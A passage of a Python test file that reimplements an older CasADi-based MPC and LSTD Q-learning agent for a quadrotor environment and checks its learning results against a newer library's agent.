dict[str, cs.DM] = self.solver(**kwargs)\n lam_lbx = -np.minimum(sol[\"lam_x\"], 0)\n lam_ubx = np.maximum(sol[\"lam_x\"], 0)\n lam_g = sol[\"lam_g\"][: self.ng, :]\n lam_h = sol[\"lam_g\"][self.ng :, :]\n S = cs.vertcat(\n self.p, self.x, self.lam_g, self.lam_h, self.lam_lbx, self.lam_ubx\n )\n D = cs.vertcat(p, sol[\"x\"], lam_g, lam_h, lam_lbx, lam_ubx)\n get_value = partial(subsevalf, old=S, new=D)\n vals = {name: get_value(var) for name, var in self.vars.items()}\n return QuadRotorSolution(\n f=float(sol[\"f\"]),\n vars=self.vars.copy(),\n vals=vals,\n get_value=get_value,\n stats=self.solver.stats().copy(),\n )\n\n def __str__(self) -> str:\n msg = \"not initialized\" if self.solver is None else \"initialized\"\n C = len(self.cons)\n return (\n f\"{type(self).__name__} {{\\n\"\n f\" name: {self.name}\\n\"\n f\" #variables: {len(self.vars)} (nx={self.nx})\\n\"\n f\" #parameters: {len(self.pars)} (np={self.np})\\n\"\n f\" #constraints: {C} (ng={self.ng}, nh={self.nh})\\n\"\n f\" CasADi solver {msg}.\\n}}\"\n )\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}: {self.name}\"\n\n\ndef subsevalf(\n expr: cs.SX,\n old: Union[cs.SX, dict[str, cs.SX], list[cs.SX], tuple[cs.SX]],\n new: Union[cs.SX, dict[str, cs.SX], list[cs.SX], tuple[cs.SX]],\n eval: bool = True,\n) -> Union[cs.SX, np.ndarray]:\n if isinstance(old, dict):\n for name, o in old.items():\n expr = cs.substitute(expr, o, new[name])\n elif isinstance(old, (tuple, list)):\n for o, n in zip(old, new):\n expr = cs.substitute(expr, o, n)\n else:\n expr = cs.substitute(expr, old, new)\n\n if eval:\n expr = cs.evalf(expr).full().squeeze()\n return expr\n\n\nConfigType = TypeVar(\"ConfigType\")\n\n\ndef init_config(\n config: Optional[Union[ConfigType, dict]], cls: type[ConfigType]\n) -> ConfigType:\n if config is None:\n return cls()\n if isinstance(config, cls):\n return config\n if isinstance(config, dict):\n if not hasattr(cls, \"__dataclass_fields__\"):\n raise ValueError(\"Configiration class must be a dataclass.\")\n keys = cls.__dataclass_fields__.keys()\n return cls(**{k: config[k] for k in keys if k in config})\n raise ValueError(\n \"Invalid configuration type; expected None, dict or \"\n f\"a dataclass, got {cls} instead.\"\n )\n\n\n@dataclass\nclass QuadRotorMPCConfig:\n N: int = 10\n solver_opts: dict = field(\n default_factory=lambda: {\n \"expand\": True,\n \"print_time\": False,\n \"ipopt\": {\n \"max_iter\": 500,\n \"tol\": 1e-6,\n \"barrier_tol_factor\": 1,\n \"sb\": \"yes\",\n # for debugging\n \"print_level\": 0,\n \"print_user_options\": \"no\",\n \"print_options_documentation\": \"no\",\n },\n }\n )\n\n\nclass QuadRotorMPC(GenericMPC):\n def __init__(\n self,\n env: QuadRotorEnv,\n config: Union[dict, QuadRotorMPCConfig] = None,\n mpctype: str = \"V\",\n ) -> None:\n assert mpctype in {\n \"V\",\n \"Q\",\n }, \"MPC must be either V (state value func) or Q (action value func)\"\n super().__init__(name=mpctype)\n self.config = init_config(config, QuadRotorMPCConfig)\n N = self.config.N\n\n # ======================= #\n # Variable and Parameters #\n # ======================= #\n lbx, ubx = env.config.x_bounds[:, 0], env.config.x_bounds[:, 1]\n not_red = ~(np.isneginf(lbx) & np.isposinf(ubx))\n not_red_idx = np.where(not_red)[0]\n lbx, ubx = lbx[not_red].reshape(-1, 1), ubx[not_red].reshape(-1, 1)\n nx, nu = env.nx, env.nu\n x, _, _ = self.add_var(\"x\", nx, N)\n u, _, _ = self.add_var(\"u\", nu, N)\n ns = not_red_idx.size + nu\n s, _, _ = self.add_var(\"slack\", ns * N - not_red_idx.size, 1, lb=0)\n sx: cs.SX = s[: not_red_idx.size * (N - 1)].reshape((-1, N - 1))\n su: cs.SX = s[-nu * N :].reshape((-1, N))\n\n # 2) create model parameters\n for name in (\n \"g\",\n \"thrust_coeff\",\n \"pitch_d\",\n \"pitch_dd\",\n \"pitch_gain\",\n \"roll_d\",\n \"roll_dd\",\n \"roll_gain\",\n ):\n self.add_par(name, 1, 1)\n\n # =========== #\n # Constraints #\n # =========== #\n\n # 1) constraint on initial conditions\n x0 = self.add_par(\"x0\", env.nx, 1)\n x_ = cs.horzcat(x0, x)\n\n # 2) constraints on dynamics\n A, B, e = env.get_dynamics(\n g=self.pars[\"g\"],\n thrust_coeff=self.pars[\"thrust_coeff\"],\n pitch_d=self.pars[\"pitch_d\"],\n pitch_dd=self.pars[\"pitch_dd\"],\n pitch_gain=self.pars[\"pitch_gain\"],\n roll_d=self.pars[\"roll_d\"],\n roll_dd=self.pars[\"roll_dd\"],\n roll_gain=self.pars[\"roll_gain\"],\n )\n self.add_con(\"dyn\", x_[:, 1:], \"==\", A @ x_[:, :-1] + B @ u + e)\n\n # 3) constraint on state (soft, backed off, without infinity in g, and\n # removing redundant entries, no constraint on first state)\n # constraint backoff parameter and bounds\n bo = self.add_par(\"backoff\", 1, 1)\n\n # set the state constraints as\n # - soft-backedoff minimum constraint: (1+back)*lb - slack <= x\n # - soft-backedoff maximum constraint: x <= (1-back)*ub + slack\n # NOTE: there is a mistake here in the old code, since we are excluding the\n # first state from constraints which is actually the second.\n self.add_con(\"x_min\", (1 + bo) * lbx - sx, \"<=\", x[not_red_idx, 1:])\n self.add_con(\"x_max\", x[not_red_idx, 1:], \"<=\", (1 - bo) * ubx + sx)\n self.add_con(\"u_min\", env.config.u_bounds[:, 0] - su, \"<=\", u)\n self.add_con(\"u_max\", u, \"<=\", env.config.u_bounds[:, 1] + su)\n\n # ========= #\n # Objective #\n # ========= #\n J = 0 # (no initial state cost not required since it is not economic)\n s = cs.blockcat([[cs.SX.zeros(sx.size1(), 1), sx], [su]])\n xf = self.add_par(\"xf\", nx, 1)\n uf = cs.vertcat(0, 0, self.pars[\"g\"])\n w_x = self.add_par(\"w_x\", nx, 1) # weights for stage/final state\n w_u = self.add_par(\"w_u\", nu, 1) # weights for stage/final control\n w_s = self.add_par(\"w_s\", ns, 1) # weights for stage/final slack\n J += sum(\n (\n quad_form(w_x, x[:, k] - xf)\n + quad_form(w_u, u[:, k] - uf)\n + cs.dot(w_s, s[:, k])\n )\n for k in range(N - 1)\n )\n J += (\n quad_form(w_x, x[:, -1] - xf)\n + quad_form(w_u, u[:, -1] - uf)\n + cs.dot(w_s, s[:, -1])\n )\n self.minimize(J)\n\n # ====== #\n # Others #\n # ====== #\n if mpctype == \"Q\":\n u0 = self.add_par(\"u0\", nu, 1)\n self.add_con(\"init_action\", u[:, 0], \"==\", u0)\n else:\n perturbation = self.add_par(\"perturbation\", nu, 1)\n self.f += cs.dot(perturbation, u[:, 0])\n self.init_solver(self.config.solver_opts)\n\n\nMPCType = TypeVar(\"MPCType\", bound=GenericMPC)\n\n\nclass DifferentiableMPC(Generic[MPCType]):\n def __init__(self, mpc: MPCType) -> None:\n self._mpc = mpc\n\n @property\n def mpc(self) -> MPCType:\n return self._mpc\n\n @property\n def _non_redundant_x_bound_indices(self) -> tuple[np.ndarray, np.ndarray]:\n return (\n np.where(self._mpc.lbx != -np.inf)[0],\n np.where(self._mpc.ubx != np.inf)[0],\n )\n\n @property\n def lagrangian(self) -> cs.SX:\n idx_lbx, idx_ubx = self._non_redundant_x_bound_indices\n h_lbx = self._mpc.lbx[idx_lbx, None] - self._mpc.x[idx_lbx]\n h_ubx = self._mpc.x[idx_ubx] - self._mpc.ubx[idx_ubx, None]\n return (\n self._mpc.f\n + cs.dot(self._mpc.lam_g, self._mpc.g)\n + cs.dot(self._mpc.lam_h, self._mpc.h)\n + cs.dot(self._mpc.lam_lbx[idx_lbx], h_lbx)\n + cs.dot(self._mpc.lam_ubx[idx_ubx], h_ubx)\n )\n\n def __getattr__(self, name) -> Any:\n return getattr(self._mpc, name)\n\n\nT = TypeVar(\"T\")\n\n\nclass ReplayMemory(Deque[T]):\n def __init__(\n self, iterable: Iterable[T] = (), maxlen: int = None, seed: int = None\n ) -> None:\n super().__init__(iterable, maxlen=maxlen)\n self.np_random = np.random.default_rng(seed)\n\n def sample(\n self, n: Union[int, float], include_last_n: Union[int, float]\n ) -> Iterable[T]:\n length = len(self)\n if isinstance(n, float):\n n = int(self.maxlen * n)\n n = np.clip(n, min(1, length), length)\n if isinstance(include_last_n, float):\n include_last_n = int(n * include_last_n)\n include_last_n = np.clip(include_last_n, 0, n)\n last_n = range(length - include_last_n, length)\n sampled = self.np_random.choice(\n range(length - include_last_n), n - include_last_n, replace=False\n )\n yield from (self[i] for i in chain(last_n, sampled))\n\n\n@dataclass\nclass RLParameter:\n name: str\n value: np.ndarray\n bounds: np.ndarray\n symV: cs.SX\n symQ: cs.SX\n\n @property\n def size(self) -> int:\n return self.symV.shape[0] # since rl pars are all column vectors\n\n def __post_init__(self) -> None:\n shape = self.symV.shape\n assert shape == self.symQ.shape, (\n f\"Parameter {self.name} has different shapes in \"\n f\"Q ({self.symQ.shape}) and V ({self.symV.shape}).\"\n )\n assert self.symV.is_column(), f\"Parameter {self.name} must be a column vector.\"\n self.bounds = np.broadcast_to(self.bounds, (shape[0], 2))\n self.update_value(self.value)\n\n def update_value(self, new_val: np.ndarray) -> None:\n \"\"\"Updates the parameter's current value to the new one.\"\"\"\n new_val = np.broadcast_to(new_val, self.bounds.shape[0])\n assert (\n (self.bounds[:, 0] <= new_val) | np.isclose(new_val, self.bounds[:, 0])\n ).all() and (\n (new_val <= self.bounds[:, 1]) | np.isclose(new_val, self.bounds[:, 1])\n ).all(), \"Parameter value outside bounds.\"\n self.value = np.clip(new_val, self.bounds[:, 0], self.bounds[:, 1])\n\n\nclass RLParameterCollection(Sequence[RLParameter]):\n \"\"\"Collection of learnable RL parameters, which can be accessed by string as a\n dictionary or by index as a list.\"\"\"\n\n def __init__(self, *parameters: RLParameter) -> None:\n \"\"\"Instantiate the collection from another iterable, if provided.\"\"\"\n self._list: list[RLParameter] = []\n self._dict: dict[str, RLParameter] = {}\n for parameter in parameters:\n self._list.append(parameter)\n self._dict[parameter.name] = parameter\n\n @property\n def n_theta(self) -> int:\n return sum(self.sizes())\n\n @property\n def as_dict(self) -> dict[str, RLParameter]:\n return self._dict\n\n def values(self, as_dict: bool = False) -> Union[np.ndarray, dict[str, np.ndarray]]:\n if as_dict:\n return {name: p.value for name, p in self.items()}\n return np.concatenate([p.value for p in self._list])\n\n def bounds(self, as_dict: bool = False) -> Union[np.ndarray, dict[str, np.ndarray]]:\n if as_dict:\n return {name: p.bounds for name, p in self.items()}\n return np.row_stack([p.bounds for p in self._list])\n\n def symQ(self, as_dict: bool = False) -> Union[cs.SX, dict[str, cs.SX]]:\n if as_dict:\n return {name: p.symQ for name, p in self.items()}\n return cs.vertcat(*(p.symQ for p in self._list))\n\n def sizes(self, as_dict: bool = False) -> Union[list[int], dict[str, int]]:\n if as_dict:\n return {p.name: p.size for p in self._list}\n return [p.size for p in self._list]\n\n def update_values(\n self, new_vals: Union[np.ndarray, list[np.ndarray], dict[str, np.ndarray]]\n ) -> None:\n if isinstance(new_vals, np.ndarray):\n new_vals = np.split(new_vals, np.cumsum(self.sizes())[:-1])\n for p, val in zip(self._list, new_vals):\n p.update_value(val)\n elif isinstance(new_vals, list):\n for p, val in zip(self._list, new_vals):\n p.update_value(val)\n elif isinstance(new_vals, dict):\n for n in self._dict.keys():\n self._dict[n].update_value(new_vals[n])\n\n def items(self) -> Iterable[tuple[str, RLParameter]]:\n return self._dict.items()\n\n def __getitem__(\n self, index: Union[str, Iterable[str], int, slice, Iterable[int]]\n ) -> Union[RLParameter, list[RLParameter]]:\n if isinstance(index, str):\n return self._dict[index]\n if isinstance(index, (int, slice)):\n return self._list[index]\n if isinstance(index, Iterable):\n return [self._list[i] for i in index]\n\n def __iter__(self) -> Iterator[RLParameter]:\n return iter(self._list)\n\n def __next__(self) -> RLParameter:\n return next(self._list)\n\n def __len__(self) -> int:\n return len(self._list)\n\n\nclass QuadRotorBaseAgent(ABC):\n def __init__(\n self,\n env: QuadRotorEnv,\n agentname: str = None,\n agent_config: Union[dict[str, Any], Any] = None,\n fixed_pars: dict[str, np.ndarray] = None,\n mpc_config: Union[dict, QuadRotorMPCConfig] = None,\n seed: int = None,\n ) -> None:\n super().__init__()\n self.name = \"Agent\" if agentname is None else agentname\n self.env = env\n self.config = (\n init_config(agent_config, self.config_cls)\n if hasattr(self, \"config_cls\")\n else None\n )\n self.fixed_pars = {} if fixed_pars is None else fixed_pars\n self.seed = seed\n self.np_random = np.random.default_rng(seed)\n self.perturbation_chance = 0.0\n self.perturbation_strength = 0.0\n self.last_solution: Solution = None\n self.Q = QuadRotorMPC(env, config=mpc_config, mpctype=\"Q\")\n self.V = QuadRotorMPC(env, config=mpc_config, mpctype=\"V\")\n\n @property\n def unwrapped(self) -> \"QuadRotorBaseAgent\":\n return self\n\n def reset(self) -> None:\n self.last_solution = None\n self.Q.failures = 0\n self.V.failures = 0\n\n def solve_mpc(\n self,\n type: str,\n state: np.ndarray = None,\n sol0: dict[str, np.ndarray] = None,\n ) -> Solution:\n mpc: QuadRotorMPC = getattr(self, type)\n if state is None:\n state = self.env.x\n pars = self.fixed_pars.copy()\n pars[\"x0\"] = state\n pars.update(self._merge_mpc_pars_callback())\n if sol0 is None:\n if self.last_solution is None:\n g = float(pars.get(\"g\", 0))\n sol0 = {\n \"x\": np.tile(state, (mpc.vars[\"x\"].shape[1], 1)).T,\n \"u\": np.tile([0, 0, g], (mpc.vars[\"u\"].shape[1], 1)).T,\n \"slack\": 0,\n }\n else:\n sol0 = self.last_solution.vals\n self.last_solution = mpc.solve(pars, sol0)\n return self.last_solution\n\n def predict(\n self,\n state: np.ndarray = None,\n deterministic: bool = False,\n perturb_gradient: bool = True,\n **solve_mpc_kwargs,\n ) -> tuple[np.ndarray, np.ndarray, Solution]:\n perturbation_in_dict = \"perturbation\" in self.fixed_pars\n if perturbation_in_dict:\n self.fixed_pars[\"perturbation\"] = 0\n if deterministic or self.np_random.random() > self.perturbation_chance:\n sol = self.solve_mpc(type=\"V\", state=state, **solve_mpc_kwargs)\n u_opt = sol.vals[\"u\"][:, 0]\n else:\n u_bnd = self.env.config.u_bounds\n rng = self.np_random.normal(\n scale=self.perturbation_strength * np.diff(u_bnd).flatten(),\n size=self.V.vars[\"u\"].shape[0],\n )\n if perturb_gradient:\n assert (\n perturbation_in_dict\n ), \"No parameter 'perturbation' found to perturb gradient.\"\n self.fixed_pars[\"perturbation\"] = rng\n sol = self.solve_mpc(type=\"V\", state=state, **solve_mpc_kwargs)\n u_opt = sol.vals[\"u\"][:, 0]\n if not perturb_gradient:\n u_opt = np.clip(u_opt + rng, u_bnd[:, 0], u_bnd[:, 1])\n x_next = sol.vals[\"x\"][:, 0]\n return u_opt, x_next, sol\n\n def _merge_mpc_pars_callback(self) -> dict[str, np.ndarray]:\n return {}\n\n @staticmethod\n def _make_seed_list(seed: Optional[Union[int, list[int]]], n: int) -> list[int]:\n if seed is None:\n return [None] * n\n if isinstance(seed, int):\n return [seed + i for i in range(n)]\n assert len(seed) == n, \"Seed sequence with invalid length.\"\n return seed\n\n\nclass QuadRotorBaseLearningAgent(QuadRotorBaseAgent, ABC):\n def __init__(\n self,\n *args,\n init_learnable_pars: dict[str, tuple[np.ndarray, np.ndarray]],\n **kwargs,\n ) -> None:\n super().__init__(*args, **kwargs)\n self.V = DifferentiableMPC[QuadRotorMPC](self.V)\n self.Q = DifferentiableMPC[QuadRotorMPC](self.Q)\n self._init_learnable_pars(init_learnable_pars)\n self._init_learning_rate()\n self._epoch_n = None # keeps track of epoch number just for logging\n\n @abstractmethod\n def update(self) -> np.ndarray:\n pass\n\n @abstractmethod\n def learn_one_epoch(\n self,\n n_episodes: int,\n perturbation_decay: float = 0.75,\n seed: Union[int, list[int]] = None,\n return_info: bool = True,\n ) -> Union[np.ndarray, tuple[np.ndarray, np.ndarray, dict[str, np.ndarray]]]:\n pass\n\n def learn(\n self,\n n_epochs: int,\n n_episodes: int,\n perturbation_decay: float = 0.75,\n seed: Union[int, list[int]] = None,\n throw_on_exception: bool = False,\n return_info: bool = True,\n ) -> Union[\n tuple[bool, np.ndarray],\n tuple[bool, np.ndarray, list[np.ndarray], list[dict[str, np.ndarray]]],\n ]:\n ok = True\n results = []\n seeds = iter(map(int, np.random.SeedSequence(seed).generate_state(n_epochs)))\n for e in range(n_epochs):\n self._epoch_n = e # just for logging\n try:\n results.append(\n self.learn_one_epoch(\n n_episodes=n_episodes,\n perturbation_decay=perturbation_decay,\n seed=next(seeds),\n return_info=return_info,\n )\n )\n except (MpcSolverError, UpdateError) as ex:\n if throw_on_exception:\n raise ex\n ok = False\n break\n if not results:\n return (ok, np.nan, [], []) if return_info else (ok, np.nan)\n if not return_info:\n return ok, np.stack(results, axis=0)\n returns, grads, weightss = list(zip(*results))\n return ok, np.stack(returns, axis=0), grads, weightss\n\n def _init_learnable_pars(\n self, init_pars: dict[str, tuple[np.ndarray, np.ndarray]]\n ) -> None:\n \"\"\"Initializes the learnable parameters of the MPC.\"\"\"\n required_pars = sorted(\n set(self.Q.pars)\n .intersection(self.V.pars)\n .difference({\"x0\", \"xf\"})\n .difference(self.fixed_pars)\n )\n self.weights = RLParameterCollection(\n *(\n RLParameter(\n name, *init_pars[name], self.V.pars[name], self.Q.pars[name]\n )\n for name in required_pars\n )\n )\n\n def _init_learning_rate(self) -> None:\n cfg = self.config\n if cfg is None or not hasattr(cfg, \"lr\"):\n return\n n_pars, n_theta = len(self.weights), self.weights.n_theta\n lr = np.asarray(cfg.lr).squeeze()\n if lr.ndim == 0:\n lr = np.full((n_theta,), lr)\n elif lr.size == n_pars and lr.size != n_theta:\n lr = np.concatenate([np.full(p.size, r) for p, r in zip(self.weights, lr)])\n assert lr.shape == (\n n_theta,\n ), \"Learning rate must have the same size as the learnable parameter vector.\"\n cfg.lr = lr\n\n def _merge_mpc_pars_callback(self) -> dict[str, np.ndarray]:\n return self.weights.values(as_dict=True)\n\n @staticmethod\n def _get_percentage_bounds(\n theta: np.ndarray,\n theta_bounds: np.ndarray,\n max_perc_update: float,\n ) -> tuple[np.ndarray, np.ndarray]:\n max_delta = np.maximum(np.abs(max_perc_update * theta), 0.1)\n lb = np.maximum(theta_bounds[:, 0], theta - max_delta)\n ub = np.minimum(theta_bounds[:, 1], theta + max_delta)\n return lb, ub\n\n\n@dataclass\nclass QuadRotorLSTDQAgentConfig:\n init_pars: dict[str, tuple[float, tuple[float, float]]] = field(\n default_factory=lambda: {\n \"g\": (9.81, (1, 40)),\n \"thrust_coeff\": (0.3, (0.1, 4)),\n \"backoff\": (0.1, (1e-3, 0.5)),\n }\n )\n fixed_pars: dict[str, float] = field(\n default_factory=lambda: {\n \"pitch_d\": 12,\n \"pitch_dd\": 5,\n \"pitch_gain\": 12,\n \"roll_d\": 13,\n \"roll_dd\": 6,\n \"roll_gain\": 8,\n \"w_x\": 1e1,\n \"w_u\": 1e0,\n \"w_s\": 1e2,\n }\n )\n replay_maxlen: float = 20\n replay_sample_size: float = 10\n replay_include_last: float = 5\n gamma: float = 1.0\n lr: float = 1e-1\n max_perc_update: float = np.inf\n\n\nclass QuadRotorLSTDQAgent(QuadRotorBaseLearningAgent):\n config_cls: type = QuadRotorLSTDQAgentConfig\n\n def __init__(\n self,\n env: QuadRotorEnv,\n agentname: str = None,\n agent_config: Union[dict, QuadRotorLSTDQAgentConfig] = None,\n mpc_config: Union[dict, QuadRotorMPCConfig] = None,\n seed: int = None,\n ) -> None:\n # create base agent\n agent_config = init_config(agent_config, self.config_cls)\n fixed_pars, init_pars = agent_config.fixed_pars, agent_config.init_pars\n fixed_pars.update({\"xf\": env.config.xf, \"perturbation\": np.nan})\n super().__init__(\n env,\n agentname=agentname,\n agent_config=agent_config,\n fixed_pars=fixed_pars,\n init_learnable_pars=init_pars,\n mpc_config=mpc_config,\n seed=seed,\n )\n self.perturbation_chance = 0.0\n self.perturbation_strength = 0.0\n self.replay_memory = ReplayMemory[list[tuple[np.ndarray, ...]]](\n maxlen=self.config.replay_maxlen, seed=seed\n )\n self._episode_buffer: list[tuple[np.ndarray, ...]] = []\n self._init_derivative_symbols()\n self._init_qp_solver()\n\n def save_transition(self, cost: float, solQ: Solution, solV: Solution) -> None:\n target = cost + self.config.gamma * solV.f\n td_err = target - solQ.f\n dQ = solQ.value(self.dQdtheta).reshape(-1, 1)\n d2Q = solQ.value(self.d2Qdtheta)\n g = -td_err * dQ\n H = dQ @ dQ.T - td_err * d2Q\n self._episode_buffer.append((g, H))\n\n def consolidate_episode_experience(self) -> None:\n if len(self._episode_buffer) == 0:\n return\n self.replay_memory.append(self._episode_buffer.copy())\n self._episode_buffer.clear()\n\n def update(self) -> np.ndarray:\n # sample the memory\n cfg: QuadRotorLSTDQAgentConfig = self.config\n sample = self.replay_memory.sample(\n cfg.replay_sample_size, cfg.replay_include_last\n )\n g, H = (np.mean(o, axis=0) for o in zip(*chain.from_iterable(sample)))\n R = cholesky_added_multiple_identities(H)\n p = cho_solve((R, True), g).flatten()\n theta = self.weights.values()\n lb, ub = self._get_percentage_bounds(\n theta, self.weights.bounds(), cfg.max_perc_update\n )\n sol = self._solver(p=np.concatenate((p, cfg.lr)), lbx=lb, ubx=ub)\n if not self._solver.stats()[\"success\"]:\n raise UpdateError(f\"RL update failed in epoch {self._epoch_n}.\")\n self.weights.update_values(theta + sol[\"x\"].full().flatten())\n return p\n\n def learn_one_epoch(\n self,\n n_episodes: int,\n perturbation_decay: float = 0.75,\n seed: Union[int, list[int]] = None,\n return_info: bool = False,\n ) -> Union[np.ndarray, tuple[np.ndarray, np.ndarray, dict[str, np.ndarray]]]:\n env, name, epoch_n = self.env, self.name, self._epoch_n\n returns = np.zeros(n_episodes)\n seeds = self._make_seed_list(seed, n_episodes)\n\n for e in range(n_episodes):\n state, _ = env.reset(seed=seeds[e])\n self.reset()\n truncated, terminated, t = False, False, 0\n action = self.predict(state, deterministic=False)[0]\n while not (truncated or terminated):\n # compute Q(s, a)\n self.fixed_pars.update({\"u0\": action})\n solQ = self.solve_mpc(\"Q\", state)\n # step the system\n state, r, truncated, terminated, _ = env.step(action)\n returns[e] += r\n # compute V(s+)\n action, _, solV = self.predict(state, deterministic=False)\n if solQ.success and solV.success:\n self.save_transition(r, solQ, solV)\n else:\n raise MpcSolverError(f\"{name}|{epoch_n}|{e}|{t}: mpc failed.\")\n t += 1\n self.consolidate_episode_experience()\n\n update_grad = self.update()\n self.perturbation_strength *= perturbation_decay\n self.perturbation_chance *= perturbation_decay\n return (\n (returns, update_grad, self.weights.values(as_dict=True))\n if return_info\n else returns\n )\n\n def _init_derivative_symbols(self) -> None:\n theta = self.weights.symQ()\n lagr = self.Q.lagrangian\n d2Qdtheta, dQdtheta = cs.hessian(lagr, theta)\n self.dQdtheta = cs.simplify(dQdtheta)\n self.d2Qdtheta = cs.simplify(d2Qdtheta)\n\n def _init_qp_solver(self) -> None:\n n_theta = self.weights.n_theta\n dtheta: cs.SX = cs.SX.sym(\"dtheta\", n_theta, 1)\n p: cs.SX = cs.SX.sym(\"p\", n_theta, 1)\n lr: cs.SX = cs.SX.sym(\"lr\", n_theta, 1)\n qp = {\n \"x\": dtheta,\n \"f\": 0.5 * dtheta.T @ dtheta + (lr * p).T @ dtheta,\n \"p\": cs.vertcat(p, lr),\n }\n opts = {\"print_iter\": False, \"print_header\": False}\n self._solver = cs.qpsol(f\"qpsol_{self.name}\", \"qrqp\", qp, opts)\n\n\nAgentType = TypeVar(\"AgentType\", bound=QuadRotorBaseLearningAgent)\n\n\nclass RecordLearningData(Generic[AgentType]):\n def __init__(self, agent: AgentType) -> None:\n self.agent = agent\n\n # initialize storages\n self.weights_history: dict[str, list[np.ndarray]] = {\n n: [p.value] for n, p in agent.weights.as_dict.items()\n }\n self.update_gradient: list[np.ndarray] = []\n\n @property\n def unwrapped(self) -> AgentType:\n return self.agent\n\n def learn_one_epoch(self, *args, **kwargs) -> tuple[np.ndarray, np.ndarray]:\n returns, grad, weights = self.agent.learn_one_epoch(*args, **kwargs)\n self._save(grad, weights)\n return returns, grad\n\n def learn(\n self, *args, **kwargs\n ) -> tuple[bool, np.ndarray, list[np.ndarray], list[dict[str, np.ndarray]]]:\n ok, returns, grads, weightss = self.agent.learn(*args, **kwargs)\n for grad, weights in zip(grads, weightss):\n self._save(grad, weights)\n return ok, returns, grads, weightss\n\n def _save(self, grad: np.ndarray, weights: dict[str, np.ndarray]) -> None:\n self.update_gradient.append(grad)\n for n, w in self.weights_history.items():\n w.append(weights[n])\n\n def __getattr__(self, name: str) -> Any:\n if name.startswith(\"_\"):\n raise AttributeError(f\"accessing private attribute '{name}' is prohibited.\")\n return getattr(self.agent, name)\n\n\n# ==================================================================================== #\n# ----------------------------------- END OLD CODE ----------------------------------- #\n# ==================================================================================== #\n\n\nclass QuadRotorMpcActual(Mpc):\n def __init__(self, env: QuadRotorEnv) -> None:\n N = QuadRotorMPCConfig.N\n super().__init__(Nlp(sym_type=\"SX\"), prediction_horizon=N, shooting=\"multi\")\n\n # ======================= #\n # Variable and Parameters #\n # ======================= #\n lbx, ubx = env.config.x_bounds[:, 0], env.config.x_bounds[:, 1]\n not_red = ~(np.isneginf(lbx) & np.isposinf(ubx))\n not_red_idx = np.where(not_red)[0]\n lbx, ubx = lbx[not_red].reshape(-1, 1), ubx[not_red].reshape(-1, 1)\n nx, nu = env.nx, env.nu\n x, _ = self.state(\"x\", nx)\n u, _ = self.action(\"u\", nu)\n ns = not_red_idx.size + nu\n s, _, _ = self.variable(\"slack\", (ns * N - not_red_idx.size, 1), lb=0)\n sx: cs.SX = s[: not_red_idx.size * (N - 1)].reshape((-1, N - 1))\n su: cs.SX = s[-nu * N :].reshape((-1, N))\n\n # 2) create model parameters\n for name in (\n \"g\",\n \"thrust_coeff\",\n \"pitch_d\",\n \"pitch_dd\",\n \"pitch_gain\",\n \"roll_d\",\n \"roll_dd\",\n \"roll_gain\",\n ):\n self.parameter(name, (1, 1))\n\n # =========== #\n # Constraints #\n # =========== #\n A, B, e = env.get_dynamics(\n g=self.parameters[\"g\"],\n thrust_coeff=self.parameters[\"thrust_coeff\"],\n pitch_d=self.parameters[\"pitch_d\"],\n pitch_dd=self.parameters[\"pitch_dd\"],\n pitch_gain=self.parameters[\"pitch_gain\"],\n roll_d=self.parameters[\"roll_d\"],\n roll_dd=self.parameters[\"roll_dd\"],\n roll_gain=self.parameters[\"roll_gain\"],\n )\n self.set_dynamics(lambda x, u: A @ x + B @ u + e, n_in=2, n_out=1)\n\n # 3) constraint on state\n bo = self.parameter(\"backoff\", (1, 1))\n self.constraint(\"x_min\", (1 + bo) * lbx - sx, \"<=\", x[not_red_idx, 2:])\n self.constraint(\"x_max\", x[not_red_idx, 2:], \"<=\", (1 - bo) * ubx + sx)\n self.constraint(\"u_min\", env.config.u_bounds[:, 0] - su, \"<=\", u)\n self.constraint(\"u_max\", u, \"<=\", env.config.u_bounds[:, 1] + su)\n\n # ========= #\n # Objective #\n # ========= #\n J = 0 # (no initial state cost not required since it is not economic)\n s = cs.blockcat([[cs.SX.zeros(sx.size1(), 1), sx], [su]])\n xf = self.parameter(\"xf\", (nx, 1))\n uf = cs.vertcat(0, 0, self.parameters[\"g\"])\n w_x = self.parameter(\"w_x\", (nx, 1)) # weights for stage/final state\n w_u = self.parameter(\"w_u\", (nu, 1)) # weights for stage/final control\n w_s = self.parameter(\"w_s\", (ns, 1)) # weights for stage/final slack\n J += sum(\n (\n quad_form(w_x, x[:, k + 1] - xf)\n + quad_form(w_u, u[:, k] - uf)\n + cs.dot(w_s, s[:, k])\n )\n for k in range(N - 1)\n )\n J += (\n quad_form(w_x, x[:, -1] - xf)\n + quad_form(w_u, u[:, -1] - uf)\n + cs.dot(w_s, s[:, -1])\n )\n self.minimize(J)\n self.init_solver(\n QuadRotorMPCConfig.__dataclass_fields__[\"solver_opts\"].default_factory()\n )\n\n\nclass TestQuadRotorQlearning(unittest.TestCase):\n def test(self):\n # for comparison\n # - replay maxlen must be 1, i.e., use only the latest episode for updates\n # - no exploration since np_randoms are placed differently\n seed = 42\n Tlimit = 20\n env = TimeLimit(QuadRotorEnv(), Tlimit)\n agent_config = {\n \"gamma\": 0.9792,\n \"lr\": [0.498],\n \"max_perc_update\": np.inf,\n \"replay_maxlen\": 1,\n \"replay_sample_size\": 1.0,\n \"replay_include_last\": 1,\n \"perturbation_decay\": 0.885,\n }\n agent_expected = RecordLearningData(\n QuadRotorLSTDQAgent(\n env=env, agentname=\"LSTDQ_0\", agent_config=agent_config, seed=seed\n )\n )\n results_expected = agent_expected.learn(\n n_epochs=2,\n n_episodes=1,\n perturbation_decay=agent_config[\"perturbation_decay\"],\n seed=seed + 1,\n throw_on_exception=True,\n )\n self.assertTrue(results_expected[0])\n\n mpc = QuadRotorMpcActual(env)\n fp_field = QuadRotorLSTDQAgentConfig.__dataclass_fields__[\"fixed_pars\"]\n fixed_pars = fp_field.default_factory()\n fixed_pars[\"xf\"] = env.config.xf\n lp_field = QuadRotorLSTDQAgentConfig.__dataclass_fields__[\"init_pars\"]\n learnable_pars = LearnableParametersDict[cs.SX](\n (\n LearnableParameter(\n name=name,\n shape=1,\n value=init,\n lb=lb,\n ub=ub,\n sym=cs.vec(mpc.parameters[name]),\n )\n for name, (init, (lb, ub)) in lp_field.default_factory().items()\n )\n )\n agent_actual = RecordUpdates(\n LstdQLearningAgent(\n mpc=mpc,\n discount_factor=agent_config[\"gamma\"],\n learning_rate=agent_config[\"lr\"][0],\n learnable_parameters=learnable_pars,\n fixed_parameters=fixed_pars,\n exploration=E.EpsilonGreedyExploration(\n 